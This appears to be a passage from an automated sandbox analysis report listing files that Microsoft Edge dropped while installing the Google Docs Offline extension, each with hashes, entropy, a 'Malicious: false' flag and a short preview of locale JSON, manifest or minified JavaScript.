Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\f205a222-1608-4f77-803f-1252c604cd08.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7808_999785420\0578768f-d218-4415-8135-1c4a1c79ffe3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
